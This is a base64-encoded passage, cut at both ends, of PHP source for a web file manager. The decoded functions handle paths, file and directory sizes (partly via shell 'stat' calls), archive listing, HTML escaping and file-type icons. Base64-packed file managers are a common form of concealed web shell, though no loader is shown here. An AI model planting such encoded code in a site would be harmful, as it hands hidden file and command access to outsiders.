CBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7DQogICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7DQogICAgJGFic29sdXRlcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7DQogICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlOw0KICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkgew0KICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7DQp9DQoNCi8qKg0KICogQ2xlYW4gcGF0aA0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZm1fY2xlYW5fcGF0aCgkcGF0aCwgJHRyaW0gPSB0cnVlKQ0Kew0KICAgICRwYXRoID0gJHRyaW0gPyB0cmltKCRwYXRoKSA6ICRwYXRoOw0KICAgICRwYXRoID0gdHJpbSgkcGF0aCwgJ1xcLycpOw0KICAgICRwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy4uLycsICcuLlxcJyksICcnLCAkcGF0aCk7DQogICAgJHBhdGggPSAgZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpOw0KICAgIGlmICgkcGF0aCA9PSAnLi4nKSB7DQogICAgICAgICRwYXRoID0gJyc7DQogICAgfQ0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsNCn0NCg0KLyoqDQogKiBHZXQgcGFyZW50IHBhdGgNCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqIEByZXR1cm4gYm9vbHxzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X3BhcmVudF9wYXRoKCRwYXRoKQ0Kew0KICAgICRwYXRoID0gZm1fY2xlYW5fcGF0aCgkcGF0aCk7DQogICAgaWYgKCRwYXRoICE9ICcnKSB7DQogICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgICAgIGlmIChjb3VudCgkYXJyYXkpID4gMSkgew0KICAgICAgICAgICAgJGFycmF5ID0gYXJyYXlfc2xpY2UoJGFycmF5LCAwLCAtMSk7DQogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLycsICRhcnJheSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCkNCnsNCiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7DQogICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHsNCiAgICAgICAgY2FzZSAncmVsYXRpdmUnOg0KICAgICAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLA0KICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSkNCiAgICAgICAgICAgICk7DQogICAgICAgIGNhc2UgJ2hvc3QnOg0KICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7DQogICAgICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJywNCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCcvJyAuICRyb290X3VybCAuICcvJyAuIGx0cmltKHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJlbGF0aXZlX3BhdGgpLCAnLycpKSkNCiAgICAgICAgICAgICk7DQogICAgICAgIGNhc2UgJ2Z1bGwnOg0KICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsDQogICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSkNCiAgICAgICAgICAgICk7DQogICAgfQ0KfQ0KDQovKioNCiAqIENoZWNrIGZpbGUgaXMgaW4gZXhjbHVkZSBsaXN0DQogKiBAcGFyYW0gc3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkgew0KICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICBpZiAoaXNzZXQoJGV4Y2x1ZGVfaXRlbXMpIGFuZCBzaXplb2YoJGV4Y2x1ZGVfaXRlbXMpKSB7DQogICAgICAgIHVuc2V0KCRleGNsdWRlX2l0ZW1zKTsNCiAgICB9DQoNCiAgICAkZXhjbHVkZV9pdGVtcyA9IEZNX0VYQ0xVREVfSVRFTVM7DQogICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSkgew0KICAgICAgICAkZXhjbHVkZV9pdGVtcyA9IHVuc2VyaWFsaXplKCRleGNsdWRlX2l0ZW1zKTsNCiAgICB9DQogICAgaWYgKCFpbl9hcnJheSgkZmlsZSwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgiKi4kZXh0IiwgJGV4Y2x1ZGVfaXRlbXMpKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCi8qKg0KICogZ2V0IGxhbmd1YWdlIHRyYW5zbGF0aW9ucyBmcm9tIGpzb24gZmlsZQ0KICogQHBhcmFtIGludCAkdHINCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpIHsNCiAgICB0cnkgew0KICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpOw0KICAgICAgICBpZigkY29udGVudCAhPT0gRkFMU0UpIHsNCiAgICAgICAgICAgICRsbmcgPSBqc29uX2RlY29kZSgkY29udGVudCwgVFJVRSk7DQogICAgICAgICAgICBnbG9iYWwgJGxhbmdfbGlzdDsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRsbmdbImxhbmd1YWdlIl0gYXMgJGtleSA9PiAkdmFsdWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNvZGUgPSAkdmFsdWVbImNvZGUiXTsNCiAgICAgICAgICAgICAgICAkbGFuZ19saXN0WyRjb2RlXSA9ICR2YWx1ZVsibmFtZSJdOw0KICAgICAgICAgICAgICAgIGlmICgkdHIpDQogICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbInRyYW5zbGF0aW9uIl07DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gJHRyOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICBlY2hvICRlOw0KICAgIH0NCn0NCg0KLyoqDQogKiBAcGFyYW0gc3RyaW5nICRmaWxlDQogKiBSZWNvdmVyIGFsbCBmaWxlIHNpemVzIGxhcmdlciB0aGFuID4gMkdCLg0KICogV29ya3Mgb24gcGhwIDMyYml0cyBhbmQgNjRiaXRzIGFuZCBzdXBwb3J0cyBsaW51eA0KICogQHJldHVybiBpbnR8c3RyaW5nDQogKi8NCmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKQ0Kew0KICAgIHN0YXRpYyAkaXN3aW47DQogICAgc3RhdGljICRpc2RhcndpbjsNCiAgICBpZiAoIWlzc2V0KCRpc3dpbikpIHsNCiAgICAgICAgJGlzd2luID0gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09ICdXSU4nKTsNCiAgICB9DQogICAgaWYgKCFpc3NldCgkaXNkYXJ3aW4pKSB7DQogICAgICAgICRpc2RhcndpbiA9IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDApKSA9PSAiREFSV0lOIik7DQogICAgfQ0KDQogICAgc3RhdGljICRleGVjX3dvcmtzOw0KICAgIGlmICghaXNzZXQoJGV4ZWNfd29ya3MpKSB7DQogICAgICAgICRleGVjX3dvcmtzID0gKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICFpbmlfZ2V0KCdzYWZlX21vZGUnKSAmJiBAZXhlYygnZWNobyBFWEVDJykgPT0gJ0VYRUMnKTsNCiAgICB9DQoNCiAgICAvLyB0cnkgYSBzaGVsbCBjb21tYW5kDQogICAgaWYgKCRleGVjX3dvcmtzKSB7DQogICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7DQogICAgICAgICRjbWQgPSAoJGlzd2luKSA/ICJmb3IgJUYgaW4gKFwiJGZpbGVcIikgZG8gQGVjaG8gJX56RiIgOiAoJGlzZGFyd2luID8gInN0YXQgLWYleiAkYXJnIiA6ICJzdGF0IC1jJXMgJGFyZyIpOw0KICAgICAgICBAZXhlYygkY21kLCAkb3V0cHV0KTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCRvdXRwdXQpICYmIGN0eXBlX2RpZ2l0KCRzaXplID0gdHJpbShpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSkpIHsNCiAgICAgICAgICAgIHJldHVybiAkc2l6ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIHRyeSB0aGUgV2luZG93cyBDT00gaW50ZXJmYWNlDQogICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoIkNPTSIpKSB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOw0KICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUoIHJlYWxwYXRoKCRmaWxlKSApOw0KICAgICAgICAgICAgJHNpemUgPSAkZi0+U2l6ZTsNCiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICAkc2l6ZSA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGN0eXBlX2RpZ2l0KCRzaXplKSkgew0KICAgICAgICAgICAgcmV0dXJuICRzaXplOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gaWYgYWxsIGVsc2UgZmFpbHMNCiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpOw0KfQ0KDQovKioNCiAqIEdldCBuaWNlIGZpbGVzaXplDQogKiBAcGFyYW0gaW50ICRzaXplDQogKiBAcmV0dXJuIHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9nZXRfZmlsZXNpemUoJHNpemUpDQp7DQogICAgJHNpemUgPSAoZmxvYXQpICRzaXplOw0KICAgICR1bml0cyA9IGFycmF5KCdCJywgJ0tCJywgJ01CJywgJ0dCJywgJ1RCJywgJ1BCJywgJ0VCJywgJ1pCJywgJ1lCJyk7DQogICAgJHBvd2VyID0gKCRzaXplID4gMCkgPyBmbG9vcihsb2coJHNpemUsIDEwMjQpKSA6IDA7DQogICAgJHBvd2VyID0gKCRwb3dlciA+IChjb3VudCgkdW5pdHMpIC0gMSkpID8gKGNvdW50KCR1bml0cykgLSAxKSA6ICRwb3dlcjsNCiAgICByZXR1cm4gc3ByaW50ZignJXMgJXMnLCByb3VuZCgkc2l6ZSAvIHBvdygxMDI0LCAkcG93ZXIpLCAyKSwgJHVuaXRzWyRwb3dlcl0pOw0KfQ0KDQovKioNCiAqIEdldCB0b3RhbCBzaXplIG9mIGRpcmVjdG9yeSB0cmVlLg0KICoNCiAqIEBwYXJhbSAgc3RyaW5nICRkaXJlY3RvcnkgUmVsYXRpdmUgb3IgYWJzb2x1dGUgZGlyZWN0b3J5IG5hbWUuDQogKiBAcmV0dXJuIGludCBUb3RhbCBudW1iZXIgb2YgYnl0ZXMuDQogKi8NCmZ1bmN0aW9uIGZtX2dldF9kaXJlY3RvcnlzaXplKCRkaXJlY3RvcnkpIHsNCiAgICAkYnl0ZXMgPSAwOw0KICAgICRkaXJlY3RvcnkgPSByZWFscGF0aCgkZGlyZWN0b3J5KTsNCiAgICBpZiAoJGRpcmVjdG9yeSAhPT0gZmFsc2UgJiYgJGRpcmVjdG9yeSAhPSAnJyAmJiBmaWxlX2V4aXN0cygkZGlyZWN0b3J5KSl7DQogICAgICAgIGZvcmVhY2gobmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXJlY3RvcnksIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSkgYXMgJGZpbGUpew0KICAgICAgICAgICAgJGJ5dGVzICs9ICRmaWxlLT5nZXRTaXplKCk7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuICRieXRlczsNCn0NCg0KLyoqDQogKiBHZXQgaW5mbyBhYm91dCB6aXAgYXJjaGl2ZQ0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHJldHVybiBhcnJheXxib29sDQogKi8NCmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dCkgew0KICAgIGlmICgkZXh0ID09ICd6aXAnICYmIGZ1bmN0aW9uX2V4aXN0cygnemlwX29wZW4nKSkgew0KICAgICAgICAkYXJjaCA9IEB6aXBfb3BlbigkcGF0aCk7DQogICAgICAgIGlmICgkYXJjaCkgew0KICAgICAgICAgICAgJGZpbGVuYW1lcyA9IGFycmF5KCk7DQogICAgICAgICAgICB3aGlsZSAoJHppcF9lbnRyeSA9IEB6aXBfcmVhZCgkYXJjaCkpIHsNCiAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBAemlwX2VudHJ5X25hbWUoJHppcF9lbnRyeSk7DQogICAgICAgICAgICAgICAgJHppcF9mb2xkZXIgPSBzdWJzdHIoJHppcF9uYW1lLCAtMSkgPT0gJy8nOw0KICAgICAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJHppcF9uYW1lLA0KICAgICAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+IEB6aXBfZW50cnlfZmlsZXNpemUoJHppcF9lbnRyeSksDQogICAgICAgICAgICAgICAgICAgICdjb21wcmVzc2VkX3NpemUnID0+IEB6aXBfZW50cnlfY29tcHJlc3NlZHNpemUoJHppcF9lbnRyeSksDQogICAgICAgICAgICAgICAgICAgICdmb2xkZXInID0+ICR6aXBfZm9sZGVyDQogICAgICAgICAgICAgICAgICAgIC8vJ2NvbXByZXNzaW9uX21ldGhvZCcgPT4gemlwX2VudHJ5X2NvbXByZXNzaW9ubWV0aG9kKCR6aXBfZW50cnkpLA0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBAemlwX2Nsb3NlKCRhcmNoKTsNCiAgICAgICAgICAgIHJldHVybiAkZmlsZW5hbWVzOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYoJGV4dCA9PSAndGFyJyAmJiBjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpIHsNCiAgICAgICAgJGFyY2hpdmUgPSBuZXcgUGhhckRhdGEoJHBhdGgpOw0KICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsNCiAgICAgICAgZm9yZWFjaChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpOw0KICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoInBoYXI6Ly8iLiRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpOw0KICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnLycpKSAhPT0gZmFsc2UgPyAkcG9zICsgMSA6IDApOw0KICAgICAgICAgICAgJHppcF9mb2xkZXIgPSAkcGFyZW50X2luZm8tPmdldEZpbGVOYW1lKCk7DQogICAgICAgICAgICAkemlwX2luZm8gPSBuZXcgU3BsRmlsZUluZm8oJGZpbGUpOw0KICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgJ25hbWUnID0+ICR6aXBfbmFtZSwNCiAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+ICR6aXBfaW5mby0+Z2V0U2l6ZSgpLA0KICAgICAgICAgICAgICAgICdjb21wcmVzc2VkX3NpemUnID0+ICRmaWxlLT5nZXRDb21wcmVzc2VkU2l6ZSgpLA0KICAgICAgICAgICAgICAgICdmb2xkZXInID0+ICR6aXBfZm9sZGVyDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkZmlsZW5hbWVzOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCi8qKg0KICogRW5jb2RlIGh0bWwgZW50aXRpZXMNCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQNCiAqIEByZXR1cm4gc3RyaW5nDQogKi8NCmZ1bmN0aW9uIGZtX2VuYygkdGV4dCkNCnsNCiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7DQp9DQoNCi8qKg0KICogUHJldmVudCBYU1MgYXR0YWNrcw0KICogQHBhcmFtIHN0cmluZyAkdGV4dA0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZm1faXN2YWxpZF9maWxlbmFtZSgkdGV4dCkgew0KICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJy8/JSo6fCI8PicpID09PSBGQUxTRSkgPyB0cnVlIDogZmFsc2U7DQp9DQoNCi8qKg0KICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb24NCiAqIEBwYXJhbSBzdHJpbmcgJG1zZw0KICogQHBhcmFtIHN0cmluZyAkc3RhdHVzDQogKi8NCmZ1bmN0aW9uIGZtX3NldF9tc2coJG1zZywgJHN0YXR1cyA9ICdvaycpDQp7DQogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10gPSAkbXNnOw0KICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10gPSAkc3RhdHVzOw0KfQ0KDQovKioNCiAqIENoZWNrIGlmIHN0cmluZyBpcyBpbiBVVEYtOA0KICogQHBhcmFtIHN0cmluZyAkc3RyaW5nDQogKiBAcmV0dXJuIGludA0KICovDQpmdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpDQp7DQogICAgcmV0dXJuIHByZWdfbWF0Y2goJy8vdScsICRzdHJpbmcpOw0KfQ0KDQovKioNCiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3MNCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lDQogKiBAcmV0dXJuIHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9jb252ZXJ0X3dpbigkZmlsZW5hbWUpDQp7DQogICAgaWYgKEZNX0lTX1dJTiAmJiBmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsNCiAgICAgICAgJGZpbGVuYW1lID0gaWNvbnYoRk1fSUNPTlZfSU5QVVRfRU5DLCAnVVRGLTgvL0lHTk9SRScsICRmaWxlbmFtZSk7DQogICAgfQ0KICAgIHJldHVybiAkZmlsZW5hbWU7DQp9DQoNCi8qKg0KICogQHBhcmFtICRvYmoNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fb2JqZWN0X3RvX2FycmF5KCRvYmopDQp7DQogICAgaWYgKCFpc19vYmplY3QoJG9iaikgJiYgIWlzX2FycmF5KCRvYmopKSB7DQogICAgICAgIHJldHVybiAkb2JqOw0KICAgIH0NCiAgICBpZiAoaXNfb2JqZWN0KCRvYmopKSB7DQogICAgICAgICRvYmogPSBnZXRfb2JqZWN0X3ZhcnMoJG9iaik7DQogICAgfQ0KICAgIHJldHVybiBhcnJheV9tYXAoJ2ZtX29iamVjdF90b19hcnJheScsICRvYmopOw0KfQ0KDQovKioNCiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlDQogKiBAcGFyYW0gc3RyaW5nICRwYXRoDQogKiBAcmV0dXJuIHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9nZXRfZmlsZV9pY29uX2NsYXNzKCRwYXRoKQ0Kew0KICAgIC8vIGdldCBleHRlbnNpb24NCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7DQoNCiAgICBzd2l0Y2ggKCRleHQpIHsNCiAgICAgICAgY2FzZSAnaWNvJzoNCiAgICAgICAgY2FzZSAnZ2lmJzoNCiAgICAgICAgY2FzZSAnanBnJzoNCiAgICAgICAgY2FzZSAnanBlZyc6DQogICAgICAgIGNhc2UgJ2pwYyc6DQogICAgICAgIGNhc2UgJ2pwMic6DQogICAgICAgIGNhc2UgJ2pweCc6DQogICAgICAgIGNhc2UgJ3hibSc6DQogICAgICAgIGNhc2UgJ3dibXAnOg0KICAgICAgICBjYXNlICdwbmcnOg0KICAgICAgICBjYXNlICdibXAnOg0KICAgICAgICBjYXNlICd0aWYnOg0KICAgICAgICBjYXNlICd0aWZmJzoNCiAgICAgICAgY2FzZSAnd2VicCc6DQogICAgICAgIGNhc2UgJ2F2aWYnOg0KICAgICAgICBjYXNlICdzdmcnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3Bhc3N3ZCc6DQogICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzoNCiAgICAgICAgY2FzZSAnc3FsJzoNCiAgICAgICAgY2FzZSAnanMnOg0KICAgICAgICBjYXNlICd0cyc6DQogICAgICAgIGNhc2UgJ2pzeCc6DQogICAgICAgIGNhc2UgJ3RzeCc6DQogICAgICAgIGNhc2UgJ2hicyc6DQogICAgICAgIGNhc2UgJ2pzb24nOg0KICAgICAgICBjYXNlICdzaCc6DQogICAgICAgIGNhc2UgJ2NvbmZpZyc6DQogICAgICAgIGNhc2UgJ3R3aWcnOg0KICAgICAgICBjYXNlICd0cGwnOg0KICAgICAgICBjYXNlICdtZCc6DQogICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6DQogICAgICAgIGNhc2UgJ2MnOg0KICAgICAgICBjYXNlICdjcHAnOg0KICAgICAgICBjYXNlICdjcyc6DQogICAgICAgIGNhc2UgJ3B5JzoNCiAgICAgICAgY2FzZSAncnMnOg0KICAgICAgICBjYXNlICdtYXAnOg0KICAgICAgICBjYXNlICdsb2NrJzoNCiAgICAgICAgY2FzZSAnZHRkJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3R4dCc6DQogICAgICAgIGNhc2UgJ2luaSc6DQogICAgICAgIGNhc2UgJ2NvbmYnOg0KICAgICAgICBjYXNlICdsb2cnOg0KICAgICAgICBjYXNlICdodGFjY2Vzcyc6DQogICAgICAgIGNhc2UgJ3lhbWwnOg0KICAgICAgICBjYXNlICd5bWwnOg0KICAgICAgICBjYXNlICd0b21sJzoNCiAgICAgICAgY2FzZSAndG1wJzoNCiAgICAgICAgY2FzZSAndG9wJzoNCiAgICAgICAgY2FzZSAnYm90JzoNCiAgICAgICAgY2FzZSAnZGF0JzoNCiAgICAgICAgY2FzZSAnYmFrJzoNCiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOg0KICAgICAgICBjYXNlICdwbCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjc3MnOg0KICAgICAgICBjYXNlICdsZXNzJzoNCiAgICAgICAgY2FzZSAnc2Fzcyc6DQogICAgICAgIGNhc2UgJ3Njc3MnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdiejInOg0KICAgICAgICBjYXNlICd0YnoyJzoNCiAgICAgICAgY2FzZSAndGJ6JzoNCiAgICAgICAgY2FzZSAnemlwJzoNCiAgICAgICAgY2FzZSAncmFyJzoNCiAgICAgICAgY2FzZSAnZ3onOg0KICAgICAgICBjYXNlICd0Z3onOg0KICAgICAgICBjYXNlICd0YXInOg0KICAgICAgICBjYXNlICc3eic6DQogICAgICAgIGNhc2UgJ3h6JzoNCiAgICAgICAgY2FzZSAndHh6JzoNCiAgICAgICAgY2FzZSAnenN0JzoNCiAgICAgICAgY2FzZSAndHpzdCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdwaHAnOg0KICAgICAgICBjYXNlICdwaHA0JzoNCiAgICAgICAgY2FzZSAncGhwNSc6DQogICAgICAgIGNhc2UgJ3BocHMnOg0KICAgICAgICBjYXNlICdwaHRtbCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2h0bSc6DQogICAgICAgIGNhc2UgJ2h0bWwnOg0KICAgICAgICBjYXNlICdzaHRtbCc6DQogICAgICAgIGNhc2UgJ3hodG1sJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3htbCc6DQogICAgICAgIGNhc2UgJ3hzbCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnd2F2JzoNCiAgICAgICAgY2FzZSAnbXAzJzoNCiAgICAgICAgY2FzZSAnbXAyJzoNCiAgICAgICAgY2FzZSAnbTRhJzoNCiAgICAgICAgY2FzZSAnYWFjJzoNCiAgICAgICAgY2FzZSAnb2dnJzoNCiAgICAgICAgY2FzZSAnb2dhJzoNCiAgICAgICAgY2FzZSAnd21hJzoNCiAgICAgICAgY2FzZSAnbWthJzoNCiAgICAgICAgY2FzZSAnZmxhYyc6DQogICAgICAgIGNhc2UgJ2FjMyc6DQogICAgICAgIGNhc2UgJ3Rkcyc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdtM3UnOg0KICAgICAgICBjYXNlICdtM3U4JzoNCiAgICAgICAgY2FzZSAncGxzJzoNCiAgICAgICAgY2FzZSAnY3VlJzoNCiAgICAgICAgY2FzZSAneHNwZic6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2F2aSc6DQogICAgICAgIGNhc2UgJ21wZyc6DQogICAgICAgIGNhc2UgJ21wZWcnOg0KICAgICAgICBjYXNlICdtcDQnOg0KICAgICAgICBjYXNlICdtNHYnOg0KICAgICAgICBjYXNlICdmbHYnOg0KICAgICAgICBjYXNlICdmNHYnOg0KICAgICAgICBjYXNlICdvZ20nOg0KICAgICAgICBjYXNlICdvZ3YnOg0KICAgICAgICBjYXNlICdtb3YnOg0KICAgICAgICBjYXNlICdta3YnOg0KICAgICAgICBjYXNlICczZ3AnOg0KICAgICAgICBjYXNlICdhc2YnOg0KICAgICAgICBjYXNlICd3bXYnOg0KICAgICAgICBjYXNlICd3ZWJtJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdlbWwnOg0KICAgICAgICBjYXNlICdtc2cnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICd4bHMnOg0KICAgICAgICBjYXNlICd4bHN4JzoNCiAgICAgICAgY2FzZSAnb2RzJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1v